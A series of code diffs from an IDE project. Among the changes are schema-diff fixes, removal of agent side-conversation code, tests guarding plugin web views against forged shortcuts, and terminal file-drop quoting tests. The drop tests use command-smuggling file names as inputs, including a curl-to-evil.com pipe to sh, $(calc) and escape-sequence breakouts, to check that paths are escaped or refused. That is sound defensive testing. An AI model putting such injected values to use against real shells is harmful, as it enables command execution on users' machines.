await startSideConversation("t1", "first");
|
||||
editor.open.mockClear();
|
||||
// The parent side conversation shows in a split pane: the nested one joins it there.
|
||||
editor.paneOf.mockReturnValue("pane-right");
|
||||
useAgents.setState((s) => {
|
||||
const entries = new Map(s.entries);
|
||||
entries.set(
|
||||
"t2",
|
||||
entries.get("t1")!.map((e) => ({ ...e })),
|
||||
);
|
||||
return { entries };
|
||||
});
|
||||
await startSideConversation("t2", "deeper question");
|
||||
expect(ipc.create).toHaveBeenLastCalledWith(expect.objectContaining({ provider: "codex" }), "t2");
|
||||
// No second split: it stacks in the same pane.
|
||||
expect(editor.open).toHaveBeenLastCalledWith(expect.anything(), { focus: true, pane: "pane-right" });
|
||||
});
|
||||
|
||||
it("discards a side conversation: stops it, deletes it, clears its state", async () => {
|
||||
const busy = { ...side("t2"), status: "running" as const };
|
||||
useAgents.setState({
|
||||
tasks: new Map([
|
||||
["t1", source],
|
||||
["t2", busy],
|
||||
]),
|
||||
ephemeral: new Set(["t2"]),
|
||||
entries: new Map([
|
||||
["t2", []],
|
||||
["t2/sub", []],
|
||||
["t1", []],
|
||||
]),
|
||||
composers: new Map([["t2", { text: "", files: [], images: [] }]]),
|
||||
unread: new Set(["t2"]),
|
||||
docked: null,
|
||||
});
|
||||
ipc.cancel.mockImplementation(async () => {
|
||||
useAgents.setState((s) => {
|
||||
const tasks = new Map(s.tasks);
|
||||
tasks.set("t2", { ...busy, status: "ready" });
|
||||
return { tasks };
|
||||
});
|
||||
return { status: "ok", data: null };
|
||||
});
|
||||
await discardEphemeral("t2");
|
||||
expect(ipc.cancel).toHaveBeenCalledWith("t2", null);
|
||||
expect(ipc.delete).toHaveBeenCalledWith("t2", false);
|
||||
const s = useAgents.getState();
|
||||
expect(s.ephemeral.has("t2")).toBe(false);
|
||||
expect(s.tasks.has("t2")).toBe(false);
|
||||
expect(s.tasks.has("t1")).toBe(true);
|
||||
expect(s.entries.has("t2")).toBe(false);
|
||||
expect(s.entries.has("t2/sub")).toBe(false);
|
||||
expect(s.composers.has("t2")).toBe(false);
|
||||
expect(s.unread.has("t2")).toBe(false);
|
||||
});
|
||||
|
||||
it("ignores discard requests for tasks that are not side conversations", async () => {
|
||||
useAgents.setState({ tasks: new Map([["t1", source]]), ephemeral: new Set() });
|
||||
await discardEphemeral("t1");
|
||||
expect(ipc.delete).not.toHaveBeenCalled();
|
||||
});
|
||||
@@ -129,8 +129,6 @@ interface AgentsState {
|
||||
sessionLocation: SessionLocation;
|
||||
lastTask: string | null;
|
||||
homeOpen: boolean;
|
||||
/** Side conversations by task id: kept out of the task list, discarded when their view closes. */
|
||||
ephemeral: ReadonlySet<string>;
|
||||
pinnedModels: string[];
|
||||
/** Whether messages carry the editor's current file and selection. */
|
||||
ideContext: boolean;
|
||||
@@ -204,7 +202,6 @@ export const useAgents = create<AgentsState>(() => ({
|
||||
sessionLocation: load<unknown>(SESSION_LOCATION_KEY, null) === "toolWindow" ? "toolWindow" : "editor",
|
||||
lastTask: null,
|
||||
homeOpen: false,
|
||||
ephemeral: new Set<string>(),
|
||||
pinnedModels: load<string[]>(PINNED_MODELS_KEY, []),
|
||||
ideContext: load<boolean>(IDE_CONTEXT_KEY, true),
|
||||
scrollPositions: new Map(),
|
||||
@@ -548,7 +545,6 @@ export function disconnect() {
|
||||
externalError: null,
|
||||
importOpen: false,
|
||||
importing: new Set(),
|
||||
ephemeral: new Set<string>(),
|
||||
scrollPositions: new Map(),
|
||||
});
|
||||
}
|
||||
@@ -847,20 +843,12 @@ function showDockedTask(task: string) {
|
||||
}
|
||||
|
||||
function saveSessionLocation(location: SessionLocation) {
|
||||
const previous = useAgents.getState().sessionLocation;
|
||||
useAgents.setState({ sessionLocation: location });
|
||||
save(SESSION_LOCATION_KEY, location);
|
||||
if (location === "toolWindow") {
|
||||
for (const { input } of editorService().openTabs?.() ?? []) {
|
||||
if (input.kind === SESSION_KIND || input.kind === HOME_KIND) void editorService().closeInput?.(input.key);
|
||||
}
|
||||
} else {
|
||||
// Leaving the tool window closes the docked view: a side conversation has no view left.
|
||||
const docked = useAgents.getState().docked;
|
||||
if (docked && previous === "toolWindow" && useAgents.getState().ephemeral.has(docked)) {
|
||||
useAgents.setState({ docked: null });
|
||||
void discardEphemeral(docked);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -876,7 +864,7 @@ export function setSessionLocation(location: SessionLocation) {
|
||||
activeTask ??
|
||||
(s.lastTask && s.tasks.has(s.lastTask) ? s.lastTask : null) ??
|
||||
[...s.tasks.values()]
|
||||
.filter((t) => t.status !== "archived" && !s.ephemeral.has(t.id))
|
||||
.filter((t) => t.status !== "archived")
|
||||
.sort((a, b) => (b.updatedMs ?? b.createdMs ?? 0) - (a.updatedMs ?? a.createdMs ?? 0))[0]?.id;
|
||||
saveSessionLocation(location);
|
||||
useAgents.setState({ docked: null, homeOpen: false });
|
||||
@@ -1160,163 +1148,6 @@ export async function forkTask(task: string, turns: number | null): Promise<void
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* The side-conversation marks survive a page reload (which wipes the store) in
|
||||
* `sessionStorage`: they live exactly as long as the window and its backend tasks —
|
||||
* an app restart clears both. Keeps the conversations out of the task list after a
|
||||
* reload and lets closing their tab still discard them.
|
||||
*/
|
||||
const SIDE_MARKS_KEY = "openidea.agents.sideMarks";
|
||||
|
||||
function sideMarkIds(): string[] {
|
||||
try {
|
||||
return JSON.parse(globalThis.sessionStorage?.getItem(SIDE_MARKS_KEY) ?? "[]") as string[];
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
function rememberSideMark(task: string) {
|
||||
try {
|
||||
const ids = sideMarkIds().filter((id) => id !== task);
|
||||
ids.push(task);
|
||||
globalThis.sessionStorage?.setItem(SIDE_MARKS_KEY, JSON.stringify(ids));
|
||||
} catch {
|
||||
/* storage unavailable */
|
||||
}
|
||||
}
|
||||
|
||||
function forgetSideMark(task: string) {
|
||||
try {
|
||||
globalThis.sessionStorage?.setItem(SIDE_MARKS_KEY, JSON.stringify(sideMarkIds().filter((id) => id !== task)));
|
||||
} catch {
|
||||
/* storage unavailable */
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Restores the marks when the store refills after a page reload, and drops marks of
|
||||
* tasks that are gone (the host's memory copy died with a restart, or was discarded).
|
||||
* Call once per window; the returned function unsubscribes.
|
||||
*/
|
||||
export function watchEphemeralTasks(): () => void {
|
||||
return useAgents.subscribe((s) => {
|
||||
if (!s.loaded) return;
|
||||
const saved = sideMarkIds();
|
||||
const missing = saved.filter((id) => s.tasks.has(id) && !s.ephemeral.has(id));
|
||||
const stale = [...s.ephemeral].filter((id) => !s.tasks.has(id) || !saved.includes(id));
|
||||
if (!missing.length && !stale.length) return;
|
||||
useAgents.setState((state) => {
|
||||
const ephemeral = new Set(state.ephemeral);
|
||||
missing.forEach((id) => ephemeral.add(id));
|
||||
stale.forEach((id) => {
|
||||
ephemeral.delete(id);
|
||||
forgetSideMark(id);
|
||||
});
|
||||
return { ephemeral };
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Opens a temporary side conversation of `task`, with `task`'s conversation as its
|
||||
* context — nothing is copied or persisted; the host sends the context to the agent
|
||||
* with its first message. Closing the pane discards it (`discardEphemeral`). Opening
|
||||
* one from inside a side conversation keeps it in that same column.
|
||||
*/
|
||||
export async function startSideConversation(task: string, text: string): Promise<string> {
|
||||
const s = useAgents.getState();
|
||||
const source = s.tasks.get(task);
|
||||
if (!source) throw new Error("the task is gone");
|
||||
const created = await call(
|
||||
commands.agentCreateEphemeral(
|
||||
{
|
||||
projectRoot: source.projectRoot,
|
||||
// Only the side conversation's title comes from it; the context rides in memory.
|
||||
prompt: { text, files: [], images: [] },
|
||||
provider: source.provider,
|
||||
config: source.config.filter((o) => o.current != null).map((o) => ({ id: o.id, value: o.current as string })),
|
||||
isolation: "local" as const,
|
||||
base: null,
|
||||
mcpOverrides: source.mcpOverrides ?? {},
|
||||
},
|
||||
task,
|
||||
),
|
||||
);
|
||||
// One frame: the watcher must never see the mark without the task (it would drop it
|
||||
// again as stale before the task lands).
|
||||
useAgents.setState((s) => ({
|
||||
tasks: s.tasks.has(created.id) ? s.tasks : new Map(s.tasks).set(created.id, created),
|
||||
ephemeral: new Set(s.ephemeral).add(created.id),
|
||||
}));
|
||||
rememberSideMark(created.id);
|
||||
// Nested side conversations open in their parent's column; fresh ones split beside the task.
|
||||
const nested = s.ephemeral.has(task);
|
||||
const options: { focus: boolean; side?: boolean; pane?: string } = { focus: true };
|
||||
if (nested) {
|
||||
// The click that launched this didn't move the active pane (the toolbar keeps the
|
||||
// selection), so anchor explicitly: a new tab in the parent side conversation's pane.
|
||||
const pane = editorService().paneOf?.(sessionKey(task));
|
||||
if (pane) options.pane = pane;
|
||||
else options.side = true;
|
||||
} else {
|
||||
options.side = true;
|
||||
}
|
||||
await editorService().openInput(
|
||||
{ kind: SESSION_KIND, key: sessionKey(created.id), data: { task: created.id, title: created.title } },
|
||||
options,
|
||||
);
|
||||
quoteInComposer(created.id, text);
|
||||
return created.id;
|
||||
}
|
||||
|
||||
/** Stops a side conversation and deletes it, its context included. */
|
||||
export async function discardEphemeral(task: string): Promise<void> {
|
||||
const s = useAgents.getState();
|
||||
if (!s.ephemeral.has(task)) return;
|
||||
forgetSideMark(task);
|
||||
useAgents.setState((state) => {
|
||||
const ephemeral = new Set(state.ephemeral);
|
||||
ephemeral.delete(task);
|
||||
return { ephemeral };
|
||||
});
|
||||
try {
|
||||
if (isBusy(s.tasks.get(task)?.status ?? "ready")) {
|
||||
await cancelTask(task);
|
||||
await settled(task);
|
||||
}
|
||||
await deleteTask(task, s.tasks.get(task)?.isolation === "worktree");
|
||||
} catch (e) {
|
||||
console.warn("Couldn't discard the side conversation", e);
|
||||
}
|
||||
useAgents.setState((state) => {
|
||||
const without = <V>(map: Map<string, V>) => {
|
||||
const next = new Map(map);
|
||||
next.delete(task);
|
||||
return next;
|
||||
};
|
||||
const entries = new Map(state.entries);
|
||||
for (const key of [...entries.keys()]) if (key === task || key.startsWith(`${task}/`)) entries.delete(key);
|
||||
const entryLoads = new Map(state.entryLoads);
|
||||
for (const key of [...entryLoads.keys()]) if (key === task || key.startsWith(`${task}/`)) entryLoads.delete(key);
|
||||
return {
|
||||
tasks: without(state.tasks),
|
||||
entries,
|
||||
entryLoads,
|
||||
changes: without(state.changes),
|
||||
groupedChanges: without(state.groupedChanges),
|
||||
composers: without(state.composers),
|
||||
scrollPositions: without(state.scrollPositions),
|
||||
unread: state.unread.has(task) ? new Set([...state.unread].filter((id) => id !== task)) : state.unread,
|
||||
docked: state.docked === task ? null : state.docked,
|
||||
lastTask: state.lastTask === task ? null : state.lastTask,
|
||||
lastComposer: state.lastComposer === task ? HOME : state.lastComposer,
|
||||
};
|
||||
});
|
||||
clearAgentTaskFontZoom(sessionKey(task));
|
||||
void editorService().closeInput?.(sessionKey(task));
|
||||
}
|
||||
|
||||
/** Puts a message back in the task's composer, above anything typed meanwhile. */
|
||||
function restoreComposer(task: string, text: string, images: AgentImage[]) {
|
||||
const current = composerDraft(task);
|
||||
|
||||
@@ -87,4 +87,41 @@ describe("Compare Structure", () => {
|
||||
const some = migrationSql("postgres", "public", diffs, new Set(["c:users.age", "c:users.id", "t:legacy"]));
|
||||
expect(some).toBe("drop table public.legacy;\nalter table public.users add column age int default 0;\n");
|
||||
});
|
||||
|
||||
it("compares defaults with string literals kept exact", () => {
|
||||
const status = (d: string) => [users([col("status", "varchar(10)", { default: d })])];
|
||||
const changes = (a: string, b: string) => diffSchemas(status(a), status(b))[0]!.columns[0]!.changes;
|
||||
expect(changes("'ACTIVE'", "'active'")).toEqual(["default"]);
|
||||
expect(changes("'a b'", "'a b'")).toEqual(["default"]);
|
||||
expect(changes("'it''s'", "'it''S'")).toEqual(["default"]);
|
||||
expect(changes("CURRENT_TIMESTAMP", "current_timestamp")).toEqual([]);
|
||||
expect(changes("nextval( 'seq'::regclass)", "NEXTVAL('seq'::REGCLASS)")).toEqual([]);
|
||||
});
|
||||
|
||||
it("keeps a foreign key into another schema pointing there", () => {
|
||||
const orders = (refSchema: string): TableSnapshot[] => [
|
||||
{
|
||||
name: "orders",
|
||||
kind: "table",
|
||||
columns: [col("user_id", "int")],
|
||||
indexes: [],
|
||||
foreignKeys: [
|
||||
{ schema: "app", table: "orders", columns: ["user_id"], refSchema, refTable: "users", refColumns: ["id"] },
|
||||
],
|
||||
},
|
||||
];
|
||||
const target: TableSnapshot[] = [{ ...orders("app")[0]!, foreignKeys: [] }];
|
||||
const cross = diffSchemas(orders("shared"), target);
|
||||
expect(cross[0]!.foreignKeys.map((k) => k.name)).toEqual(["(user_id) → shared.users(id)"]);
|
||||
expect(migrationSql("postgres", "deployment", cross, differenceKeys(cross))).toContain(
|
||||
"references shared.users (id);",
|
||||
);
|
||||
const local = diffSchemas(orders("app"), target);
|
||||
expect(migrationSql("postgres", "deployment", local, differenceKeys(local))).toContain(
|
||||
"references deployment.users (id);",
|
||||
);
|
||||
// The same link in both schemas: one into each schema's own users, the other into shared.
|
||||
const mixed = diffSchemas(orders("shared"), orders("app"));
|
||||
expect(mixed[0]!.foreignKeys.map((k) => k.state)).toEqual(["added", "removed"]);
|
||||
});
|
||||
});
|
||||
@@ -36,6 +36,14 @@ export interface TableDiff extends ItemDiff<TableSnapshot> {
|
||||
|
||||
const norm = (s: string | null | undefined) => (s ?? "").trim().replace(/\s+/g, " ").toLowerCase();
|
||||
|
||||
/** A column default compared as SQL: case and spacing count only inside string literals. */
|
||||
const normDefault = (s: string | null | undefined) =>
|
||||
(s ?? "")
|
||||
.trim()
|
||||
.split(/('(?:[^']|'')*')/)
|
||||
.map((part, i) => (i % 2 ? part : norm(part)))
|
||||
.join("");
|
||||
|
||||
/** Pairs items by name: exact first, then ignoring case. */
|
||||
function pair<T>(
|
||||
source: readonly T[],
|
||||
@@ -65,12 +73,16 @@ function columnChanges(s: DbColumnInfo, t: DbColumnInfo): string[] {
|
||||
const out: string[] = [];
|
||||
if (norm(s.dataType) !== norm(t.dataType)) out.push("type");
|
||||
if (s.nullable !== t.nullable) out.push("nullable");
|
||||
if (norm(s.default) !== norm(t.default)) out.push("default");
|
||||
if (normDefault(s.default) !== normDefault(t.default)) out.push("default");
|
||||
if (s.primaryKey !== t.primaryKey) out.push("primary key");
|
||||
return out;
|
||||
}
|
||||
|
||||
const fkName = (k: DbForeignKey) => `(${k.columns.join(", ")}) → ${k.refTable}(${k.refColumns.join(", ")})`;
|
||||
/** The referenced table, schema-qualified only when it lies outside the foreign key's own schema. */
|
||||
const refName = (k: DbForeignKey) =>
|
||||
k.refSchema && k.refSchema !== k.schema ? `${k.refSchema}.${k.refTable}` : k.refTable;
|
||||
|
||||
const fkName = (k: DbForeignKey) => `(${k.columns.join(", ")}) → ${refName(k)}(${k.refColumns.join(", ")})`;
|
||||
|
||||
export function diffSchemas(source: readonly TableSnapshot[], target: readonly TableSnapshot[]): TableDiff[] {
|
||||
return pair(source, target, (t) => t.name)
|
||||
@@ -152,7 +164,7 @@ function dropIndexSql(driver: DbDriver, schema: string, table: string, i: DbInde
|
||||
|
||||
function addForeignKeySql(driver: DbDriver, schema: string, table: string, k: DbForeignKey): string {
|
||||
const cols = (names: string[]) => names.map((c) => ident(driver, c)).join(", ");
|
||||
return `alter table ${qualifiedName(driver, schema, table)} add foreign key (${cols(k.columns)}) references ${qualifiedName(driver, schema, k.refTable)} (${cols(k.refColumns)});`;
|
||||
return `alter table ${qualifiedName(driver, schema, table)} add foreign key (${cols(k.columns)}) references ${qualifiedName(driver, k.refSchema && k.refSchema !== k.schema ? k.refSchema : schema, k.refTable)} (${cols(k.refColumns)});`;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -148,16 +148,16 @@ function FilterChip({
|
||||
{!set && <Icon name="chevron-down" size={12} className={styles.chipChevron} />}
|
||||
</button>
|
||||
{set && (
|
||||
<button
|
||||
<IconButton
|
||||
type="button"
|
||||
className={styles.chipReset}
|
||||
aria-label={t`Reset ${name}`}
|
||||
onClick={() => onChange(undefined)}
|
||||
onKeyDown={onKeyDown}
|
||||
tabIndex={-1}
|
||||
>
|
||||
<Icon name="close" size={12} />
|
||||
</button>
|
||||
icon="close"
|
||||
size="small"
|
||||
/>
|
||||
)}
|
||||
{anchor &&
|
||||
popup(anchor, (v) => {
|
||||
|
||||
@@ -0,0 +1,144 @@
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { render, waitFor } from "@testing-library/react";
|
||||
import type { PluginInfo } from "@/bindings";
|
||||
import { registerAction } from "@/platform/actions";
|
||||
import { installKeyboardDispatcher, useKeymap } from "@/platform/keymap";
|
||||
import { createMemoryPluginsBackend, setPluginsBackend } from "../backend";
|
||||
import { usePlugins } from "../store";
|
||||
import { FRAME_TAG } from "../views/frame";
|
||||
import { WebView } from "../views/WebView";
|
||||
|
||||
let uninstall = () => {};
|
||||
afterEach(() => {
|
||||
uninstall();
|
||||
setPluginsBackend(null);
|
||||
usePlugins.setState({ plugins: [] });
|
||||
useKeymap.setState({ overrides: {} });
|
||||
Reflect.deleteProperty(navigator, "userActivation");
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
/** What a browser reports after the user's own input in the frame (`isActive`), or long after it. */
|
||||
function reportUserActivation(isActive: boolean) {
|
||||
Object.defineProperty(navigator, "userActivation", { configurable: true, value: { isActive } });
|
||||
}
|
||||
|
||||
async function mount(capabilities: { id: string; granted: boolean }[]) {
|
||||
setPluginsBackend({ ...createMemoryPluginsBackend([]), webPageUrl: async () => "about:blank" });
|
||||
usePlugins.setState({
|
||||
plugins: [{ id: "evil.view", hasCode: false, enabled: true, capabilities } as unknown as PluginInfo],
|
||||
});
|
||||
const view = render(<WebView pluginId="evil.view" view="v" label="V" />);
|
||||
const frame = await waitFor(() => {
|
||||
const found = view.container.querySelector("iframe");
|
||||
expect(found).not.toBeNull();
|
||||
return found!;
|
||||
});
|
||||
return frame;
|
||||
}
|
||||
|
||||
/** What page script in the frame can post at any time, with no user gesture. */
|
||||
function pass(frame: HTMLIFrameElement, key: KeyboardEventInit) {
|
||||
window.dispatchEvent(new MessageEvent("message", { data: { tag: FRAME_TAG, key }, source: frame.contentWindow }));
|
||||
}
|
||||
|
||||
const SAVE = { key: "s", code: "KeyS", metaKey: true };
|
||||
const RUN = { key: "F10", code: "F10", shiftKey: true };
|
||||
|
||||
function bind() {
|
||||
const save = vi.fn();
|
||||
const run = vi.fn();
|
||||
registerAction({ id: "file.save", title: "Save", run: save });
|
||||
registerAction({ id: "t.runSelected", title: "Run 'app'", run });
|
||||
useKeymap.setState({ overrides: { "file.save": ["Meta+S"], "t.runSelected": ["Shift+F10"] } });
|
||||
uninstall = installKeyboardDispatcher(window);
|
||||
return { save, run };
|
||||
}
|
||||
|
||||
const flush = async () => {
|
||||
await Promise.resolve();
|
||||
await Promise.resolve();
|
||||
};
|
||||
|
||||
describe("keys a plugin web view passes on", () => {
|
||||
it("run nothing while the user is not in the frame", async () => {
|
||||
vi.spyOn(document, "hasFocus").mockReturnValue(true);
|
||||
const { save, run } = bind();
|
||||
const frame = await mount([]);
|
||||
pass(frame, SAVE);
|
||||
pass(frame, RUN);
|
||||
await flush();
|
||||
expect(save).not.toHaveBeenCalled();
|
||||
expect(run).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("run nothing while the window has no focus", async () => {
|
||||
vi.spyOn(document, "hasFocus").mockReturnValue(false);
|
||||
const { save } = bind();
|
||||
const frame = await mount([]);
|
||||
frame.focus();
|
||||
pass(frame, SAVE);
|
||||
await flush();
|
||||
expect(save).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("run a safe action, and only a safe one, for a plugin without ide.commands", async () => {
|
||||
vi.spyOn(document, "hasFocus").mockReturnValue(true);
|
||||
const { save, run } = bind();
|
||||
const frame = await mount([{ id: "clipboard", granted: true }]);
|
||||
frame.focus();
|
||||
expect(document.activeElement).toBe(frame);
|
||||
pass(frame, SAVE);
|
||||
pass(frame, RUN);
|
||||
await flush();
|
||||
expect(save).toHaveBeenCalledOnce();
|
||||
expect(run).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("run any bound action for a plugin granted ide.commands, but still only while the user is in the frame", async () => {
|
||||
vi.spyOn(document, "hasFocus").mockReturnValue(true);
|
||||
const { run } = bind();
|
||||
const frame = await mount([{ id: "ide.commands", granted: true }]);
|
||||
pass(frame, RUN);
|
||||
await flush();
|
||||
expect(run).not.toHaveBeenCalled();
|
||||
frame.focus();
|
||||
pass(frame, RUN);
|
||||
await flush();
|
||||
expect(run).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it("run nothing when the user has not touched the frame lately, even if the page took the focus", async () => {
|
||||
vi.spyOn(document, "hasFocus").mockReturnValue(true);
|
||||
reportUserActivation(false);
|
||||
const { save } = bind();
|
||||
const frame = await mount([]);
|
||||
// The page can call focus() on itself; it cannot give itself user activation.
|
||||
frame.focus();
|
||||
expect(document.activeElement).toBe(frame);
|
||||
pass(frame, SAVE);
|
||||
await flush();
|
||||
expect(save).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("run a safe action right after the user pressed a key in the frame", async () => {
|
||||
vi.spyOn(document, "hasFocus").mockReturnValue(true);
|
||||
reportUserActivation(true);
|
||||
const { save } = bind();
|
||||
const frame = await mount([]);
|
||||
frame.focus();
|
||||
pass(frame, SAVE);
|
||||
await flush();
|
||||
expect(save).toHaveBeenCalledOnce();
|
||||
});
|
||||
|
||||
it("do not run any bound action for a plugin whose ide.commands is declared but not granted", async () => {
|
||||
vi.spyOn(document, "hasFocus").mockReturnValue(true);
|
||||
const { run } = bind();
|
||||
const frame = await mount([{ id: "ide.commands", granted: false }]);
|
||||
frame.focus();
|
||||
pass(frame, RUN);
|
||||
await flush();
|
||||
expect(run).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -18,6 +18,7 @@
|
||||
*/
|
||||
import { useCallback, useEffect, useRef, useState, useSyncExternalStore } from "react";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { dispatchForwardedKey } from "@/platform/keymap";
|
||||
import { useProject } from "@/platform/project";
|
||||
import { subscribeTheme, themeKey } from "@/platform/themeWatch";
|
||||
import { EmptyState, Spinner } from "@/ui";
|
||||
@@ -223,6 +224,11 @@ export function WebView({
|
||||
useOwnToolWindowHeader(headless);
|
||||
const hasCode = plugin?.hasCode ?? false;
|
||||
const clipboard = plugin?.capabilities.some((c) => c.id === "clipboard" && c.granted) ?? false;
|
||||
const anyAction = plugin?.capabilities.some((c) => c.id === "ide.commands" && c.granted) ?? false;
|
||||
const anyActionRef = useRef(anyAction);
|
||||
useEffect(() => {
|
||||
anyActionRef.current = anyAction;
|
||||
}, [anyAction]);
|
||||
const frame = useRef<HTMLIFrameElement>(null);
|
||||
|
||||
const post = useCallback((message: object, transfer: Transferable[] = []) => {
|
||||
@@ -413,12 +419,17 @@ export function WebView({
|
||||
} | null;
|
||||
if (m?.tag !== FRAME_TAG) return;
|
||||
if (m.key && typeof m.key === "object") {
|
||||
// A shortcut the page didn't handle: as if pressed on the frame, for the IDE's keymap.
|
||||
// A shortcut the page didn't handle: as if pressed on the frame, for the IDE's keymap. The
|
||||
// page can post one at any time and can take the focus, but it cannot fake the user's own
|
||||
// input, so it counts only right after the user pressed a key or clicked in the frame.
|
||||
const host = frame.current.ownerDocument;
|
||||
const activation = host.defaultView?.navigator.userActivation;
|
||||
if (host.activeElement !== frame.current || !host.hasFocus() || (activation && !activation.isActive)) return;
|
||||
const k = m.key as KeyboardEventInit;
|
||||
const init: KeyboardEventInit = { bubbles: true, cancelable: true };
|
||||
const init: KeyboardEventInit = {};
|
||||
for (const f of ["key", "code"] as const) if (typeof k[f] === "string") init[f] = k[f];
|
||||
for (const f of ["metaKey", "ctrlKey", "altKey", "shiftKey", "repeat"] as const) init[f] = k[f] === true;
|
||||
frame.current.dispatchEvent(new KeyboardEvent("keydown", init));
|
||||
dispatchForwardedKey(frame.current, init, anyActionRef.current);
|
||||
} else if (typeof m.call === "number" && typeof m.op === "string") {
|
||||
const id = m.call;
|
||||
run(m.op, (m.args ?? {}) as Record<string, unknown>).then(
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
*/
|
||||
import { executeAction, type Action } from "@/platform/actions";
|
||||
import { editorPrefs } from "@/platform/editorSettings";
|
||||
import { uiFontFamily, uiIconFaces } from "@/platform/fonts";
|
||||
import { discoverNerdFonts, uiFontFamily, uiIconFaces } from "@/platform/fonts";
|
||||
import { call, commands, isTauri } from "@/platform/ipc";
|
||||
import { useProject } from "@/platform/project";
|
||||
import { loadSystemFonts, useSystemFontStore } from "@/platform/systemFonts";
|
||||
@@ -277,7 +277,10 @@ export function installIconFont(root: HTMLElement = document.documentElement): (
|
||||
void loadSystemFonts().then(() => {
|
||||
if (cancelled) return;
|
||||
const { fonts, source } = useSystemFontStore.getState();
|
||||
const faces = uiIconFaces(source === "native" ? fonts.map((font) => font.name) : undefined);
|
||||
const installed = source === "native" ? fonts.map((font) => font.name) : undefined;
|
||||
// The terminal's prompt-icon fallback picks up the same discovery (#3723).
|
||||
if (installed) discoverNerdFonts(installed);
|
||||
const faces = uiIconFaces(installed);
|
||||
if (faces.length) root.style.setProperty("--font-icons", faces.join(", "));
|
||||
});
|
||||
if (typeof requestIdleCallback === "function") {
|
||||
|
||||
@@ -6,7 +6,12 @@ import { handleFileDrop } from "@/workbench/fileDrop";
|
||||
import { dragSession, FILES_DRAG } from "@/ui";
|
||||
import { droppedPathsText, installTerminalDrop } from "./drop";
|
||||
|
||||
const notify = vi.hoisted(() => vi.fn());
|
||||
vi.mock("@/platform/remote", () => ({ isRemoteWindow: vi.fn(() => false) }));
|
||||
vi.mock("@/workbench/contributions", async (importOriginal) => ({
|
||||
...(await importOriginal<typeof import("@/workbench/contributions")>()),
|
||||
notifications: () => ({ notify }),
|
||||
}));
|
||||
|
||||
const initialOs = usePlatform.getState().os;
|
||||
const originalElementFromPoint = document.elementFromPoint;
|
||||
@@ -14,6 +19,7 @@ const originalElementFromPoint = document.elementFromPoint;
|
||||
beforeEach(() => {
|
||||
vi.stubGlobal("__TAURI_INTERNALS__", {});
|
||||
usePlatform.setState({ os: "macos" });
|
||||
notify.mockClear();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
@@ -41,6 +47,75 @@ describe("terminal drop", () => {
|
||||
expect(droppedPathsText(["C:\\a&b\\c.png"])).toBe('"C:\\a&b\\c.png"');
|
||||
});
|
||||
|
||||
it("quotes a dropped path for the shell that reads it, not for the operating system", () => {
|
||||
usePlatform.setState({ os: "windows" });
|
||||
expect(droppedPathsText(["C:\\Users\\a$(calc).txt"], "pwsh")).toBe("'C:\\Users\\a$(calc).txt'");
|
||||
expect(droppedPathsText(["C:\\Users\\a;calc;.txt"], "powershell")).toBe("'C:\\Users\\a;calc;.txt'");
|
||||
expect(droppedPathsText(["C:\\Users\\a\u2019; calc; \u2018b.txt"], "pwsh")).toBe(
|
||||
"'C:\\Users\\a\u2019\u2019; calc; \u2018\u2018b.txt'",
|
||||
);
|
||||
expect(droppedPathsText(["C:\\Users\\plain.txt", "C:\\Users\\a b.txt"], "pwsh")).toBe(
|
||||
"C:\\Users\\plain.txt 'C:\\Users\\a b.txt'",
|
||||
);
|
||||
expect(droppedPathsText(["C:\\Users\\a&b.txt"], "cmd")).toBe('"C:\\Users\\a&b.txt"');
|
||||
expect(() => droppedPathsText(["C:\\Users\\100%.txt"], "cmd")).toThrow(/cmd\.exe/);
|
||||
expect(droppedPathsText(["/home/u/;{curl,evil.com}|sh;.txt"], "bash")).toBe("'/home/u/;{curl,evil.com}|sh;.txt'");
|
||||
});
|
||||
|
||||
it.each(["macos", "linux"])("quotes POSIX metacharacters that a bare path would leave to the shell on %s", (os) => {
|
||||
usePlatform.setState({ os });
|
||||
expect(droppedPathsText(["/tmp/a;b"])).toBe("'/tmp/a;b'");
|
||||
expect(droppedPathsText(["/tmp/a*b?[c]"])).toBe("'/tmp/a*b?[c]'");
|
||||
expect(droppedPathsText(["/tmp/{a,b}", "/tmp/a|b", "/tmp/a&b", "/tmp/a(b)", "/tmp/a<b>"])).toBe(
|
||||
"'/tmp/{a,b}' '/tmp/a|b' '/tmp/a&b' '/tmp/a(b)' '/tmp/a<b>'",
|
||||
);
|
||||
});
|
||||
|
||||
it("refuses a dropped path that has control characters", () => {
|
||||
expect(() => droppedPathsText(["/tmp/a\nb"])).toThrow(/control characters/);
|
||||
expect(() => droppedPathsText(["/tmp/a\x1b[201~b"], "zsh")).toThrow(/control characters/);
|
||||
});
|
||||
|
||||
it("quotes for the shell of the terminal under the cursor", async () => {
|
||||
usePlatform.setState({ os: "windows" });
|
||||
const host = document.createElement("div");
|
||||
const child = document.createElement("span");
|
||||
host.append(child);
|
||||
document.body.replaceChildren(host);
|
||||
document.elementFromPoint = (() => child) as typeof document.elementFromPoint;
|
||||
const paste = vi.fn();
|
||||
const remove = installTerminalDrop(host, paste, () => ({ shell: "pwsh" }));
|
||||
try {
|
||||
await handleFileDrop(["C:\\Users\\a$(calc).txt"], 1, 1);
|
||||
expect(paste.mock.calls).toEqual([["'C:\\Users\\a$(calc).txt'"]]);
|
||||
} finally {
|
||||
remove();
|
||||
}
|
||||
});
|
||||
|
||||
it("tells the user instead of pasting a path it cannot quote safely", async () => {
|
||||
const host = document.createElement("div");
|
||||
const child = document.createElement("span");
|
||||
host.append(child);
|
||||
document.body.replaceChildren(host);
|
||||
document.elementFromPoint = (() => child) as typeof document.elementFromPoint;
|
||||
